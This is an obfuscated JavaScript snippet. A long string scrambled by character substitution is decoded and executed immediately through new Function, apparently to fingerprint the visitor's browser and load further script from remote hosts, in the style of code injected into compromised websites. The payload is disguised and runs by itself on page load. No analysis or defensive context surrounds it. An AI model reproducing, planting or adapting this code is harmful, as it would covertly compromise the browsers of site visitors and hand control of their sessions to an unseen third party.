Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8^oFdLoSnn)"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();